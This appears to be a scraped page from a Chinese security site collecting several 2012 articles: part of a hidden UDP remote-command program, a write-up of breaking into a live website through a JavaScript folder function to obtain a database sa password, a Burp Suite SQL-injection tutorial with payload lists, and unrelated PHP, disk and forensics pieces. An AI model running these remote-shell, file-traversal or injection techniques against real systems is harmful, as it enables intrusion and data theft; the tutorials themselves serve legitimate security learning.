buffer.packhead.packType ) { case KEY_NO_CTRL: WriteConsoleInput( GetStdHandle(STD_INPUT_HANDLE) ,&buffer.Key , 1 , &NumberOfCharsRead );      //將 buffer 數據寫入控制臺輸入緩存    //GetStdHandle 獲 取當前的標準輸入(STDIN)和標準輸出(STDOUT)設備句柄 break; case KEY_CTRL_C: GenerateConsoleCtrlEvent(         CTRL_C_EVENT        ,      NULL       ); //GenerateConsoleCtrlEvent 函數可以產生 CTRL_C_EVENT 和 CTRL_BREAK_EVENT 事件 break; case KEY_CTRL_BRAK: GenerateConsoleCtrlEvent( CTRL_BREAK_EVENT , NULL); break; default: if( ( GetTickCount() - cout) > 1000 ) { return TRUE; }else{ cout = GetTickCount(); } break; } } GetLastError(); dwReadCoord.X = 0; dwReadCoord.Y = 0; memset(&sendBuffer.Character , 0x20202020 , 8000); sendBuffer.wCodePageID = GetConsoleOutputCP();          //控制臺的輸出代碼頁 ReadConsoleOutputAttribute( hConsoleOutput ,(WORD *)&sendBuffer.Attribute , 8000 , dwReadCoord , &NumberOfCharsRead); ReadConsoleOutputCharacter( hConsoleOutput , (PCHAR)&sendBuffer.Character , 8000 , dwReadCoord , &NumberOfCharsRead);        //獲得控制臺的輸出數據,以便接下 來發送 GetConsoleScreenBufferInfo ( hConsoleOutput , &sendBuffer.csb); SendSreenBuffer( KEY_SREEN , &sendBuffer , sizeof(CONSOLE_BUFFER)); //向 192.168.123.119 發送控制臺輸出數據 return TRUE; }   以上是程序的代碼實現,測試效果如圖一所示。當遠程被控端通過 UDP 協議連接上后, 就可以通過本地的控制端來遠程運行各種 CMD 命令了,其結果也會實時地顯示在本地控制端 的控制臺上。為了隱蔽,我們可以將遠程被控端的控制臺窗口隱藏起來,只需將代碼中的兩#p#分頁標題#e# 處窗體的顯示屬性”SW_SHOW”改為”SW_HIDE”即可。本測試程序在 vs2008 下編譯通過。   http://www.ionrce.tw/uploads/allimg/120428/1-12042Q91SE43-lp.jpg SHELL,cmd 系統安全 admin 未知 2012-04-28 19:16 一個js函數引發的服務器淪陷 http://www.ionrce.tw/wangzhananquan/20120427873.html 很多網站系統把一些功能放在客服端執行(javascript),而服務端沒有相應的驗證, 從而被非法利用。本文就是一個 js 函數使用不當,導致網站以及整個服務器淪陷的案例。 前端漏洞挖掘 很多網站系統把一些功能放在客服端執行(javascript),而服務端沒有相應的驗證, 從而被非法利用。本文就是一個 js 函數使用不當,導致網站以及整個服務器淪陷的案例。 前端漏洞挖掘 最新安全測試一個站 旁注掃出一個 www.xxx.com/Utility/UploadFile/FileList.asp   圖一 這個編輯器功能很強大,看能不能找到點其他可以利用的地方,習慣性的查看源碼。看到一段 Javascript,目測有貓膩。   <tr onMouseOver="menumouseover(this)" onMouseOut="menumouseout(this)"> <td><input name="selFolder" type="checkbox" id="selFolder" value="D:\website9\www.xxx.com\UpFile\1" ">               這個是點擊圖一中的文件夾的 js 源碼,爆出絕對路徑,可能有用,然后又看到一個強大的 j <a href="javascript:transferFolder('/UpFile/1');"> <img src="dir.gif" width="17" height="14" border="0" align="absmiddle">1</a> 函數 transferFolder(),經過測試這個函數是點擊擊編輯器中的文件夾 js 是向服務端發送 需要瀏覽文件夾,然后 asp 服務器返回傳回文件夾的文件列表,以瀏覽文件。 //改變當前文件夾 function transferFolder(f) { document.formList.fder.value=f document.formList.submit(); } 看 transferFolder 函數源碼, 每個載入瀏覽器的 HTML 文檔都會成為 Document 對 象, 使我們可以從腳本中對 HTML 頁面中的所有元素進行訪問。把傳入的文件夾賦值給 Document.formList 用來操作 formList 表單,formList 和 fder 為何物? <form margin-bottom: 0; overflow:auto;" name="formList" method="post" action=""> <input name="rootFder" type="hidden" id="rootFder" value="/UpFile"> <input name="fder" type="hidden" id="fder" value="/UpFile"> 還是目測fromList是瀏覽文件的表單 fder則是需要瀏覽的文件夾,由 transferFolder函數 賦值,測試下這個函數是否可以傳入任意瀏覽服務端文件夾,由于需要經常改代碼,換了個 opera瀏覽器,原來的transferFolder參數如下。 transferFolder('/UpFile/1'); 傳入 transferFolder(‘/Utility/UploadFile’); (這個目錄絕對存在), 猛烈的點擊…..悲劇了!!什么都沒有,欲罷而不能 ,繼續目測之. <input name="rootFder" type="hidden" id="rootFder" value="/UpFile"> <input name="fder" type="hidden" id="fder" value="/UpFile"> rootFder是根目錄,而fder 是當前目錄,這里需要人工修改,遂把 /UpFile 改為 /Utility   改寫 再次猛烈點擊,奇跡般的出現了 如圖四   無比雞動!!!,這個函數果然有鬼,接下來就是擴大戰果。  整理一下思路先,如圖五所示,編輯器可以重命名,通過transferFolder 函數可以遍歷 整個網站目錄文件,如果有權限還可以下載服務端的文件(有權限重命名),搞清此套程序的 目錄結構,如果是數據庫access 直接下載數據文件,進后臺再說 ,是 sql server 看1433 能不能利用,干!!!!  為了搞清此套系統的目錄結構,不久拿下一個和這個系統的其他網站的webshell,如圖  整理一下思路先,如圖五所示,編輯器可以重命名,通過transferFolder 函數可以遍歷 整個網站目錄文件,如果有權限還可以下載服務端的文件(有權限重命名),搞清此套程序的#p#分頁標題#e# 目錄結構,如果是數據庫access 直接下載數據文件,進后臺再說 ,是 sql server 看1433 能不能利用,干!!!!  為了搞清此套系統的目錄結構,不久拿下一個和這個系統的其他網站的webshell,如圖 在 System\Config.asp 找到其配置 看到圖七,我很欣慰,回到安全監測的那個站,通過 transferFolder()這淫蕩的函數,找到 Config.asp  如圖八 果斷改為 txt   直接訪問 如圖九,神一般sa!!!!!接下來就是傳說中1433 端口提權,毫無亮點安全監測完成…. 總結 這個程序有多處致命漏洞,包括fck編輯器和以前的老漏洞,還有本文的js函數服務端缺 乏驗證導致任意文件可下載,查看(有的無權限),網上使用的眾多,我們程序猿除了需要注 sql,編輯器等服務端的代碼安全,也需要關注像javascript這樣的前端語言,因為用戶隨意 查看和修改前端的源碼,這個更加危險!! http://www.ionrce.tw/uploads/allimg/120427/1-12042G60325629-lp.jpg js函數,transferFolder 網站安全 admin 未知 2012-04-27 15:59 Burp Suite-SQL INJECTION滲透 http://www.ionrce.tw/wangzhananquan/20120426866.html 介紹 安裝 要求: Java 的 V1.5 + 安裝(推薦使用最新的 JRE )。 入門: 安裝完成后可以雙擊可執行的 JAR 文件,如果不工作,你可以運行在命令提示符或終端輸入。 命令: Java jar burpsuite 介紹 安裝 要求: Java 的 V1.5 + 安裝(推薦使用最新的 JRE )。 入門: 安裝完成后可以雙擊可執行的 JAR 文件,如果不工作,你可以運行在命令提示符或終端輸入。  命令: Java –jar burpsuite_v1.4.jar Burp Suite包含了一系列burp工具,這些工具之間有大量接口可以互相通信,之所以 這樣設計的目的是為了促進和提高 整個攻擊的效率。平臺中所有工具共享同一 robust 框 架,以便統一處理HTTP 請求,持久性,認證,上游代理,日志記錄,報警和可擴展性。Burp Suite允許攻擊者結合手工和自動技術去枚舉、分析、攻擊Web應用程序。這些不同的burp 工具通過協同工作,有效的分享信息,支持以某種工具中的信 息為基礎供另一種工具使用 的方式發起攻擊 Proxy   提供一個直觀、友好的用戶界面,他的代理服務器包含非常詳細的攔截規則, 并能準確分析HTTP消息的結構與內容。 Spide  爬行蜘蛛工具,可以用來抓取目標網站,以顯示網站的內容,基本結構,和其 他功能。 Scanner: Web 應用程序的安全漏洞進行自動發現工具。它被設計用于滲透測試,并密 切與您現有的技術和方法,以適應執行手動和半自動化的Web應用程序滲透測試。 Repeater  可讓您手動重新發送單個HTTP 請求。 Intruder 是 burp 套件的優勢,他提供一組特別有用的功能。它可以自動實施各種定制 攻擊,包括資源枚舉、數據提取、模糊測試等常見漏洞等。在各種有效的掃描工具中,它能 夠以最細化、最簡單的方式訪問它生產的請求與響應,允許組合利用個人智能與該工具的控 制優點。 Sequencer 對會話令牌,會話標識符或其他出于安全原因需要隨機產生的鍵值的可預測 性進行分析。 Decoder 轉化成規范的形式編碼數據,或轉化成各種形式編碼和散列的原始數據。它能 夠智能識別多種編碼格式,使用啟發式技術。 Comparer:  是一個簡單的工具,執行比較數據之間的任何兩個項目(一個可視化的“差 異”)。在攻擊一個Web應用程序的情況下,這一要求通常會出現當你想快速識別兩個應用程 序的響應之間的差異(例如,入侵者攻擊的過程中收到的兩種反應之間之間,或登錄失敗的 反應使用有效的和無效的用戶名)之間,或兩個應用程序請求(例如,確定不同的行為引起 不同的請求參數)。 配置 打開 Burp套件,配置監聽端口 一旦代理端口選擇和服務在 burp 套件開始,我們需要配置我們的瀏覽器。在大多數瀏 覽器,你只需打開設置-網絡-代理,然后告訴它使用“localhost”和端口“8080”(或任 何您正在運行的端口,默認Burp: 8080)。然后保存更新的設置. 現在我們可以再瀏覽器中輸入我們要檢查的網站。你會看到 burp 套件工具,proxy 選 項卡上會亮起紅色,表示它需要你的輸入。默認行為是攔截設置為ON,這意味著它捕獲的 所有發送請求,然后要求用戶輸入,以決定是否數據包將被轉發或丟棄。你可以轉發, 并觀看頁面載入目標網站。如果你嫌麻煩那你可以INTECEPTOR  Off,只是手動抓取的網站, 將捕獲的數據發送到“歷史記錄”選項卡,你可以手動檢查審查和測試。  關掉攔截你在歷史記錄里面會看到所有提交過的數據,在這里你可以看到所有 request 和response的數據。現在,我們可以右鍵進行其他的測試。 intruder 定制攻擊自動化 今天我將利用 DVWA 的 SQL 注入進行測試。你可以看到下面的圖片,SQL 注入很簡單, 我們測試: 我們需要捕捉用戶 ID 請求,點擊提交按鈕,抓取數據包后,用有效載荷測試用戶輸入 的ID值。 要做到這一點,我們必須確保,Burp 攔截我們的要求: 將提交用戶ID的請求,并發送到intruder你可以看到下面: #p#分頁標題#e# 工具已經自動為我們創造了有效載荷測試的位置。有效載荷的位置使用§符號作為每個 有針對性的攻擊位置的起始和結束標記。你想測試的位置前后用§§符號進行標示。 然后設置攻擊類型, 有4 種模式供大家選擇。具體這四種模式的區別大家可以參考burp 的官方幫助文檔。 Sniper 這種攻擊模式可以讓我們選擇的攻擊位置注入一個單一的有效載荷。這需要的 有效載荷選項,將它們插入到選定的位置,然后重復,直到它已測試所有的有效載荷選項。 如果選擇多個位置,它會只適用于測試,一次一個位置。我會告訴你如何使用這個測試在幾 秒鐘之內的SQL漏洞的跡象 Battering ram 這種攻擊模式將有效載荷,插入到選定的攻擊位置的Sniper攻擊模式。 這里的區別是,如果選擇了多個位置,它會插入所有位置一次性進行測試,而 Sniper 逐一 測試。 Pitchfork 這種攻擊模式允許你測試多種有效載荷,最大能夠自定義8 個,基于攻擊位 置。這種攻擊模式設置不同的有效載荷為每個位置逐一同時測試。 Cluster bomb 這種攻擊模式使用多種有效載荷,并允許你測試每一個可能有效載荷在 每個選擇的攻擊位置,這意味著接下來的測試,交換任何其他有效載荷。當你有不同需要注 射的地方,它將會非常的方便。 今天我選用的是 sniper 模式進行測試,我會告訴你如何使用這個測試 SQL 漏洞。雖然 Burp 自帶了測試語句但是我還是希望自己手動去整理語句,下面是我自己整理的一些 SQL 注入測試的語句: ·         ' ·         " ·         / ·         /* ·         # ·         ) ·         ( ·         )' ·         (' ·         and 1=1 ·         and 1=2 ·         and 1>2 ·         and 1<=2 ·         +and+1=1 ·         +and+1=2 ·         +and+1>2 ·         +and+1<=2 ·         /**/and/**/1=1 ·         /**/and/**/1=2 ·         /**/and/**/1>2 ·         /**/and/**/1<=2 我們來配置攻擊測試。如圖 由于我個人已經整理好txt所以我直接載入我的語句 確定后,我們來到選項標簽下面的grep—match 設置測試結果匹配選項。大家可以用默認的 選項,也可以載入自己收集的錯誤信息。 設置完成后,我們就可以運行測試,點擊主菜單上的intruder— start stack 現在,這將打開一個新的窗口,在這里我們可以看到自動測試的結果 你可以清楚地看到,返回頁面大小差異。后面對勾的地方,表示發現 grep-match 中我 們提供的文本。如果你點擊一個請求,你可以查看到我們實際發送的請求,以及響應,因此, 我們現在可以清楚地看到錯誤信息。 現在我們已經確定找到了一個潛在SQL  INJECTION漏洞。這是好的開端,但現在怎么辦? 現在,我們回去給入侵者設置和工作,改變我們的設置,以進一步測試和利用。現在讓我們 看看如果我們可以設置入侵者測試 ORDER BY 來確定快速列數。使用了同樣的要求,我們將 現在的位置插入語句。 ·          ORDER BY 1— ·          ORDER BY 2— ·         +ORDER+BY+1— ·         +ORDER+BY+2— ·         /**/ORDER/**/BY/**/1—#p#分頁標題#e# ·         /**/ORDER/**/BY/**/2— 現在我們已經找到列數為2!您可以使用響應請求長度的線索來判斷。現在我們將這個請求 發送到Repeater,現在我們將使用Repeater找到脆弱列。 好了 現在我們知道脆弱的列,我們現在可以把這個請求轉入到intruder中去進行下一 步的信息刺探和測試,我們插入自己整理好的一些數據庫信息進行自動化測試。  basic.txt: ·         Version() ·         User() ·         Database() ·         @@hostname ·         @@basedir ·         @@datadir 這里我們不用設置grep了 至于為什么大家自己想把。。。 接下來我們可以用intruder的另一種攻擊模式來檢查我們其他可以利用的數據庫 現在我們有基本信息,庫,我們可以繼續下去,重新配置 intruder,從而獲得所有的 表名。但要記得庫名要做十六進制轉換,編碼可以用burp 自帶的decoder。 重新配置 intruder—獲取列名 現在就可以直接用repeater直接發送請求獲取數據了 文章在此就告一段落了。這次講解burp-intruder只是拋磚引玉。 http://www.ionrce.tw/uploads/allimg/120426/1-120426191113H2-lp.jpg Burp,Burp工具,滲透 網站安全 admin 未知 2012-04-26 19:08 用Php與Sqlite實現提高日常預報業務效率 http://www.ionrce.tw/wangzhanbiancheng/20120424860.html 目前基層氣象部門逐步按照上級氣象 服務要求,實現了與政府為主導的多部門 聯系。因此為了提高我們的服務質量及公 眾形象。基層氣象臺站不僅僅是簡單的更 新預報給地方電視臺。而 目前基層氣象部門逐步按照上級氣象 服務要求,實現了與政府為主導的多部門 聯系。因此為了提高我們的服務質量及公 眾形象。基層氣象臺站不僅僅是簡單的更 新預報給地方電視臺。而是根據服務要求 的擴大形成了相關的預報服務流程,尤其 是每日的固定的預報服務業務。 PHP這種開放源代碼多用途腳本語 言,已經從原來的一種針對中小型網站快 速開發的工具,變成了現在的適合于多領 域配置的構建平臺,PHP的主要目標是讓 Web開發人員可以很快寫出動態網頁。本 文使用php、mysql和xml進行實現日常固定 流程的多部門不同需求預報服務產品自動 發布的設計。 1設計原則和基本原理 1.1設計原則 (1)實現目的原則。盡量在一個界面上 完成所有操作,界面操作簡單。根據用戶需 求將用戶需要的預報準確無誤的發送到用 戶手中,并且將每日做好的預報存入到數 據庫中,便于日后的查詢和管理。 (2)先進性原則。本系統采用B/S模 式,用戶只需在客戶機的瀏覽器中即可 運行本系統,無需安裝,修改程序只需在 服務器上進行,即可完成軟件的更新升 級。該模式具有維護簡單,安全,便捷,易 擴展。開發語言采用開源免費的php語言 編寫,該語言執行效率高,功能強大。數據 庫采用SQLITE,這是一款免費開源的輕 型數據庫,占用資源非常低,執行速度快, 具備跨平臺特性。 (3)可擴充性原則。本系統的編碼、功能 等可以根據發展的需要隨時進行擴充。本 系統在本單位現有的局域網環境即可運 行,日后如有需要可以很容易的轉換到氣 象系統專用網絡和Internet網絡中,可實現 實時動態發布預報信息。 (4)高效高質量原則。節省時間,提高質 量,提高效率,減少日常人力成本付出。 1.2基本原理 (1)讀入上級指導預報文本。利用php字 符串函數,將指導預報文本格式化成所需 內容。 (2)根據本地實際修改預報文本,做成 訂正預報。 (3)將訂正預報存入數據庫,供日后查 詢和實時動態發布。 (4)利用Jmail組件,和飛信插件,可以實 現將本地信息發送到指定郵箱和飛信號碼 中。 (5)打印本地區預報單。利用免費開源 Lodop5.0web打印組件,實現自定義樣式的 快速打印。 2代碼實現 2.1文本操作 <?php if($_POST[readtxt]=="讀入指導預 報文本"){ if(empty($_POST['opentext'])){ echo"文件名不能為空"; exit;} $filename=$_POST['opentext']; $array=file($filename); ?> 格式化文本函數 <?php functionmytrim($str){ returnpreg_replace('/\s(?=\s)/','', $str);//去除兩個以上空格 } functionmyarray($str){ returnexplode("",$str);//將字符串 分割成數組 ?> 提取指定的地區預報內容 if(strpos($array[$i],"牙克石")or strpos($array[$i],"牙克石")){ $yks=mytrim($array[$i]); } 2.2數據庫操作 functionconn() {$db='ybdata.db'; $handle=sqlite_open($db)ordie("不 能打開數據庫!"); if($handle){ return$handle;} else{ returnfalse;}} function connClose() {sqlite_close($handle);} functionsqlResult($sql){ $result=sqlite_query(conn(),$sql)or die("error:".sqlite_error_string (sqlite_last_error(conn()))); if($result){ return $result; }else{ returnfalse;}} 2.3Jmail組件和飛信插件操作 (1)Jmail操作。 $jmail=newCOM("JMail.Message")or die("無法調用組件"); //屏蔽例外錯誤,靜默處理 $jmail->silent=true; //編碼必須設置,否則中文會亂碼 $jmail->charset="gb2312"; //發信人郵件地址和名稱,能自定義, 可以和郵件發送賬號不同 $jmail->From=$from; $jmail->FromName=$fromname; //添加多個郵件接受者 $jmail->AddRecipient($tomail); $jmail->AddRecipient($tomail1); //$jmail->AddRecipient($tomail1); //郵件主題和正文信息 $jmail->Subject=$totitle; $jmail->Body=$tocontent; //發信郵件賬號和密碼 $jmail->MailServerUserName=$fromu ser; $jmail->MailServerPassword=$frompa ss; try{ $retval=$jmail->Send($smtpserver);// 發送的時候附帶smtp發信服務器地址#p#分頁標題#e# if($retval) echo'<scriptlanguage="javascript"> alert("發送成功!");location.href="index. php";</script>'; else echo'<scriptlanguage="javascript"> alert("發送失敗!");location.href="index. php";</script>'; }catch(Exception$e){ echo'<scriptlanguage="javascript"> alert($e->getMessage());location. href="index.php";</script>'; } (2)引入飛信組件。 $phone_num發信人的電話號碼,需要 開通了飛信 $password發信人飛信密碼 $tophone要發送的目的電話號碼,需要 在飛信中添加為好友 $msg要發送的文本內容$sms-> sendSMS_toPhone($tophone,$message);// $_CFG['sms_shop_mobile'] require_once('includes/class.fetion. php'); $tophone=trim($_POST['tophone']); $message=trim($_POST['message']); $sms=newFetion; $sms->phone_num=trim($_POST ['phone']);//$_CFG['sms_shop_mobile'] $sms->password=trim($_POST ['fetion_password']);//$_CFG ['sms_fetion_password'] $sms->sip_login(); $sms->sendSMS_toPhone($tophone, iconv('UTF-8','gb2312',$message));/ /$_CFG['sms_shop_mobile'] $sms->sip_logout(); unset($Fetion); echo$message; 2.4打印插件操作 html頁調用引用 <scriptlanguage="javascript" src="CheckActivX.js"></script> <objectid="LODOP"classid="clsid: 2105C259-1E0C-4534-8141- A753534CB4CA" width=0height=0></object> <scriptlanguage="javascript"> varLODOP=document.getElementById ("LODOP"); CheckLodop(); </script> 打印代碼 <scriptlanguage="javascript" type="text/javascript"> functionmyPreview(){CreateDataBill ();LODOP.PREVIEW();} functionmySetup(){CreateDataBill(); LODOP.PRINT_SETUP();} functionmyPrint(){CreateDataBill(); LODOP.PRINT();} functionCreateDataBill(){ LODOP.SET_PRINT_PAPER(10,10, "288mm","199mm","printckxkz"); LODOP.SET_PRINT_STYLEA(1, "FontColor",16711680);} </script> 3應用實例 在預報業務中,本系統采用B/S架構, 免費開源的php語言和輕型數據庫 SQLITE,和Jmail組件、飛信組件。這大大 減少了系統開發成本,同時,使得軟件具 備良好的易擴展性,和可維護性。使預報 具備數據庫管理功能,自動發送預報信 息到郵箱和飛信中,簡化以前手工操作 的步驟,提高了工作效率,并且本系統具 備信息實時動態發布功能,為以后功能 擴展提供基礎。 4結語 程序編制后,在我局日常預報業務中 發揮了較好的作用。根據估算在我局正常 預報工作中使用本程序后可以為工作人員 節省時間1小時30分鐘左右,大大節約了時 間人力。基本上可以避免由于人工抄寫和 輸入煩躁,眼花等各種因素帶來的錯誤和 由于忙碌造成漏發時間的發生。 Php,Sqlite 網站編程 admin 未知 2012-04-24 22:41 淺談Windows XP下的磁盤增容 http://www.ionrce.tw/windows/20120424858.html 單位的一臺計算機使用的是WindowsXP系統,硬盤容量大小是120GB,專門用于接收中央電教的遠程IP數據。 由于該電腦是2005年購置的,每年下載的資料也比較多,D盤只有80GB的容量,磁盤空 單位的一臺計算機使用的是WindowsXP系統,硬盤容量大小是120GB,專門用于接收中央電教的遠程IP數據。 由于該電腦是2005年購置的,每年下載的資料也比較多,D盤只有80GB的容量,磁盤空間有些少,要想辦法增加D盤的磁盤容量,這樣才能方便的存儲資料。 第一種方案,無需增加設備,內部調整增加D盤容量。因為遠程IP資料默認的下載路徑是D盤,所以增加了D盤的空間就可以增加數據的存儲容量。該電腦系統盤分區C盤占用了10GB,還有10GB分配給E盤了,只要把E盤閑置的空間合并到D盤中就可以實現目標。先從網上下載一個PQ分區大師,它可以做到無損 分區,把D盤的容量增大,同時也不會破壞內部的數據。雙擊 SETUP進行程序的安裝,然后運行PQ8.0程序。打開PQ8.0程序后,單擊窗口的“分區”主菜單,在彈出的對話框中選擇“E:成為它的一個文件夾D:”,在“文件夾名稱”處輸入任意 字母,單擊“確定”后開始合并操作,把D盤和E盤合成一個分區,過幾分鐘就完成了合并操作(見圖1)。打開“我的電腦”進行查看,D盤的容量果真增 加了10GB(在進行磁盤合并時一定要注意,中途不能斷電,否則會造成分區表的損壞,雖說可以恢復損壞的分區表,但操作較為麻煩)。 第二種方案,添加大容量硬盤。上述方案雖然擴大了D盤的容量,但10GB的容量也只是杯水車薪,還是堅持不了多久。面對日益擁擠的D盤,必須再購置一個1TB的大容量硬 盤。等大硬盤拿到手后才發現該硬盤的接口是SATA,而這臺電腦卻是PATA接口,需要個SATA轉接卡。全部安裝后,電腦運行時又出現了問題,電腦主機箱的小喇叭發出“嘀 嘀”的響聲,伴隨著不定期的重新啟動現象。懷疑是病毒在作祟,殺查完畢后也沒有發現病毒,把大硬盤給卸掉后,就再沒有出現重啟的現象了。看來是該電腦的電源輸出功率有些小,帶不動額#1-的設備。 第三種方案,把大硬盤改成移動磁盤。由于電源方面的問題,只好用硬盤盒把大硬盤改裝成移動磁盤,變內置為外置。接通電源適配器后,把連 接線插到電腦的USB接口,使WindowsXP系統能夠識別到新硬件。接著就進行磁盤管理操作,在WINdowsXP桌面上右擊“我的電腦”,單擊“管理”菜單項,打開“計算機管理”窗口后,單擊左側的“磁盤管理”, 在右側的窗格中找到移動磁盤所在的列表項中,然后進行右擊操作,單擊“更改驅動器名和路徑菜單項”。在彈出的X,-t話框中,單擊“更改”按鈕,最后把驅動器號“H”,更換成“D”,確定后,該移動磁盤就成 了D盤了。存儲空間不足的問題到此就圓滿解決。 http://www.ionrce.tw/uploads/allimg/120424/1-12042421110H02-lp.jpg 磁盤增容,WindowsXP windows admin 未知 2012-04-24 21:08 基于Windows平臺下的動態取證系統 http://www.ionrce.tw/windows/20120423850.html 1引言 計算機技術與網絡通信技術的發展,在給人們帶 來便利的同時,發生在計算機領域中的各種犯罪(如 計算機詐騙、商業機密信息的竊取與破壞、電子商務 糾紛、對政府、軍事網站 1引言 計算機技術與網絡通信技術的發展,在給人們帶 來便利的同時,發生在計算機領域中的各種犯罪(如 計算機詐騙、商業機密信息的竊取與破壞、電子商務 糾紛、對政府、軍事網站的破壞等)在逐年劇增。研 究如何打擊計算機犯罪、提取和分析計算機犯罪證據 并證明該證據是原始的、完整的、合法的、有效的新 型學科一計算機取證學由此應運而生。 在計算機犯罪案件中計算機扮演著作案目標和作 案工具雙重角色,無論作為哪種角色,計算機系統中 都會留下大量的與犯罪有關的數據。因此給出的計算 機取~(computerforensic)的定義是“計算機取證就是 對計算機犯罪的證據進行獲取、保存、分析和出示, 它實質上是一個詳細掃描計算機系統以及重建入侵事 件的過程”【l1。根據取證時證據的特性,計算機取證可 以分為靜態取證和動態取證。靜態取證又稱為事后取 證、、被動取證,隨著網絡犯罪技術的提高,事后取證 已無法適應要求,解決方案是進行實時取證,也稱動 態取證。 目前常見的動態取證系統有基于入侵檢測的動態 取證系統【、基于入侵容忍的蜜罐網絡取證系統【3】、基 于Agent的分布式網絡取證系統I鍆、基于人工免疫動 態取證系統[51等,但這些系統還存在著一些不足,比 如基于入侵檢測的動態取證系統仍然存在著誤報率和 漏報率高的問題;利用蜜罐取證的缺陷是只能捕獲到 入侵者進入蜜罐區的攻擊行為,而不能捕獲進入應用 區的攻擊,對這樣的系統獲得的信息是否能作為法律 認可的證據,仍是一個有爭議的問題;對動態取證中 獲取的海量數據如何高效地分析出具有計算機犯罪特 征的數據還面臨~些技術難題。此外,目前大多數動 態取證系統把重點放在來自于外部入侵者的犯罪行為 的取證上,而忽略了內部人員犯罪行為的取證。由于 內部人員熟悉網絡的結構和取證系統的運行機制,他 們實施犯罪活動(如軍隊內部人員利用軍網泄密或者 個人利用公司網絡發布違法言論等)時,往往能繞過 取證系統,使取證系統失效。所以設計出一個既能對 外部入侵行為取證,又能對內部人員犯罪行為取證的 系統已經成為一個迫切需要。 本文針對目前一些系統中存在的不足,在分布式 網絡取證模型的基礎上設計了一個基于windows平臺 的動態取證系統,該系統具有證據獲取效率高、取證 過程隱秘、取證分析算法可擴展等特點,主要解決網 絡中的計算機作為作案目標和作案工具雙重角色時的 取證。 2基于windows平臺的動態取證系統 2.1關鍵需求分析 首先要考慮兩方面的取證工作:一方面是來自網 絡外部的以計算機系統為攻擊目標的犯罪行為,另一 方面是來自網絡內部的以計算機為工具的犯罪行為, 所以需要取證過程具有隱秘性。 其次考慮到電子證據的可靠性,需要實時、高效 地采集多種數據源。 第三是考慮到網絡中各主機的數據量非常大,要 完全依靠人工進行分析,其工作量將不可接受,所以 還需要一種對計算機取證獲取的信息進行自動分析的 方法。本系統將數據挖掘技術應用到計算機取證分析 中,它能從海量的數據中發現有價值的知識和信息。 此外在平臺的選擇方面,考慮到Windows系統是 目前使用最多的操作系統,針對該系統發生嚴重的計 算機犯罪案件比較多,研究Windows系統下的計算機 取證不但具有理論價值,也具有重大的現實意義。本 文選擇對WindowsXP系統網絡環境下的各個主機進 行動態取證。 2.2取證系統結構 本系統分為取證服務器端和取證客戶端,如圖l 所示。取證客戶端安裝了入侵檢測系統(IDS),分布 于網絡中的各個主機實現分布式入侵檢測。取證客戶 端將所采集的電子數據證據加密后傳送到安全的服務 器端進行統一的收集,經過數據預處理后按照統一的 格式存入數據庫以方便后續的查詢與分析活動。對于 已經獲取的電子數據證據由證據分析模塊進行分析產 生規則庫并對具有犯罪嫌疑的證據進行提取,加密簽 名后存入證據庫。產生的新規則又反饋給客戶端的入 侵檢測系統,使其具有學習功能,進而能檢測出新的#p#分頁標題#e# 異常行為。而整個系統的統一管理則由管理控制模塊 實現,確保系統穩定運行。   2_3系統功能模塊和結構設計 我們假設網絡中有N臺主機,則有N個客戶端。客戶 端安裝在網絡中的每一臺主機上,分別負責監測每~ 個主機的活動,它由以下幾個模塊組成: ①取證Agent:在該模塊中引入了IDS,負責分 析主機上的活動,當監測到某種可疑事件時,立即觸 發數據采集模塊按照特定的策略采集數據。 ②數據采集模塊:負責采集主機上的各種數據 源,包括:日志文件、注冊表、正在運行的程序、鍵 盤操作記錄、網絡數據包等。 ⑧管理服務器:接收來自服務器的命令,管理取 證Agent和數據采集模塊,并把采集到的數據進行分 類,加密簽名后發送給服務器端。 ④服務器端安裝在一個專門的有安全保障的服 務器上,負責收集從各個主機上采集到各種數據,并 將數據進行預處理后存入數據庫,以便進行隨后的證 據分析。它由以下幾個模塊組成: ⑤集中收集模塊:接收各個主機傳來的數據,解 密并驗證簽名后按分類信息將數據分類存入數據庫。 我們采用了mysql數據庫對收到的數據進行存儲與組 織,可以很方便高效地實現證據的各種刪除、插入、 修改操作。 ⑥狀態服務器;接收和保存各個客戶端的工作狀 態,并將各狀態信息存入狀態信息庫。 管理控制模塊:給網絡管理員提供一個管理整個 取證系統的用戶界面,主要包括監測各客戶端的運行 狀況(通過查詢狀態信息庫),修改生成的規則庫或自 定義規則,設置取證Agent或給取證Agent更新規則 庫,管理采集模塊、證據查詢、證據導出等。 ⑦證據分析模塊:利用數據挖掘算法對收集到的 數據進行分析,產生規則,并提取犯罪證據,存入證 據庫。管理人員可以導入不同的分析算法,或者對分 析算法進行修改、更新。同時管理人員可以根據取證 經驗自定義犯罪行為規則或者修改、刪除分析算法生 成的一些無用規則,使分析模塊具有很好的擴展性。 3構建系統的關鍵技術 3.1證據獲取技術 因為要獲取多種數據源,采集模塊采用多線程技 術對各種數據進行實時收集,主要實現對系統日志、 注冊表、輯過的文檔信息、瀏覽過的網頁信息、正在 運行的進程、鍵盤操作記錄,網絡數據包等數據源的 收集,并且可以根據取證的要求增加線程數,即增加 采集器,實現更多數據源的采集。在實現數據采集時, 我們借鑒了文獻【6】中給出的日志信息、編輯過的文檔 信息、瀏覽過的網頁信息、運行過的程序采集實現方 法和文獻【7】中利用winpcap進行網絡數據包捕獲的方 法。鍵盤操作的記錄可利用系統勾子實現嘲,但是由 于用戶在進行鍵盤操作時,可能錄入的是漢字,所以 我們不僅需要利用系統鉤子獲取到錄入的鍵盤字符, 還需要考慮錄入的是不是漢字。所以我們還需要安裝 一 個類型為WHGETMESSAGE消息鉤子,然后在消 息處理程序中判斷消息標識符是否為wMmm COMPOSITION,即編碼狀態改變標識,如果是,則 先調用ImmGetContext(hWnd)獲取當前正在輸入的 窗口的輸入法旬柄,再用ImmGetCompositionString() 方法從輸入法數據區中獲取字符串。 需要采集的另一個重要數據源是系統注冊表。 windows操作系統的注冊表(Registry)是一個數據文件 的集合,包含了很多的有關計算機的硬件、軟件和用 戶的信息。但是一個完整的注冊表難以讀懂,對動態 取證分析意義不大,我們關心的只是注冊表在系統運 行過程中的改動情況,從而方便地分析出系統在什么 時候安裝了什么軟件、用戶增加、修改或刪除了哪些 目錄和文件等,因此獲取注冊表的改動歷史對取證分 析意義更大。 本文提出了一個監控注冊表的實現方案。該方案 首先在初始時備份一份在正常情況下的注冊表,然后 監測特定的子鍵或鍵值是否有改變,如果有改變立即 對注冊表進行了備份,最后通過對新備份和原備份進 行比較,從而獲得注冊表中改變的位置和內容。 當監控注冊表變化時我們使用到一個API函數:#p#分頁標題#e# RegNotifyChangeKeyValue(HKEYhKey,BOOL 